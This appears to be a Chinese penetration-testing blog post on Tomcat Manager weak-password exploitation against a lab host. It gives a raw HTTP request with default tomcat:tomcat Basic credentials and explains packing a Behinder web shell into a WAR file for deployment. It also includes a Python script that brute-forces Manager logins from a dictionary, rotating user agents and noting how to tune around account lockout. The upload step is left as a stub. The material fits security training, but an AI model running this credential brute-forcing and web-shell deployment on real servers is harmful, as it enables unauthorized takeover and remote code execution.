本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
‼️Tomcat 弱口令‼️
📚测试环境
Tomcat 8 环境
访问测试
📚漏洞原理
Tomcat 开放了远程的访问管理页面的配置,且管理模块弱口令登入,可以上传任意 war 包部署从而 getshell。
默认情况下,Tomcat Manager 只能在 Tomcat 运行机器上访问,无权远程访问;但是可以通过修改 content.xml 中增加如下代码,即可配置允许远程访问
- 弱口令登入 Tomcat Manager (http://192.168.225.135:8080/manager/html)
- 上传部署构造的 war 包
- 触发 war 包 getshell
📚影响版本
📚前提条件
📚POC
Username/Password 使用 Base64 编码在 Authorization 中
GET /manager/html HTTP/1.1
Host: 192.168.225.135:8080
Cache-Control: max-age=0
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
漏洞利用
V1.0
war 包是使用冰蝎生成 shell.jsp 后使用 jar -cvf shell.war shell.jsp 命令打包的
'''
Tomcat 管理后台弱口令导致 war 包上传部署 getshell
Tomcat 6 以上针对爆破口令添加了默认的锁定机制,如下脚本可以再优化一下频率
上传接口有 sessionid 等校验还有 CSRF 的校验,还挺麻烦
'''
import requests
import base64
import datetime
from fake_useragent import UserAgent
from rich import print as rprint
ua = UserAgent()
def get_time():
return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
def tomcat_manager_weakpwd(url):
with open('updict.txt', 'r') as f:
for line in f.read().splitlines():
username = line.split(':')[0]
password = line.split(':')[1]
auth = f'{username}:{password}'
# auth = line
auth = str(base64.b64encode(auth.encode('utf-8')), 'utf-8')
headers = {
'User-Agent': ua.random,
'Authorization': f'Basic {auth}'
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
rprint("[[bold green]" + get_time() + "[/bold green]] [[bold green]Success[/bold green]] > [bold yellow]" + f" Tomcat Manager Page 登录成功,用户名:{username}, 密码:{password} " + "[/bold yellow]")
elif response.status_code == 401:
...
# rprint("[[bold green]" + get_time() + "[/bold green]] [[bold yellow]Waiting[/bold yellow]] > [bold yellow]" + " Tomcat Manager Page 登录失败 " + "[/bold yellow]")
else: # response.status_code == 403:
rprint("[[bold green]" + get_time() + "[/bold green]] [[bold red]Faild[/bold red]] > [bold yellow]" + " Tomcat Manager Page Not Found Or No Authorized " + "[/bold yellow]")
def tomcat_upload_war():
file_path = './shell.war'
...
if __name__ == '__main__':
url = 'http://192.168.225.135:8080/manager/html'
tomcat_manager_weakpwd(url)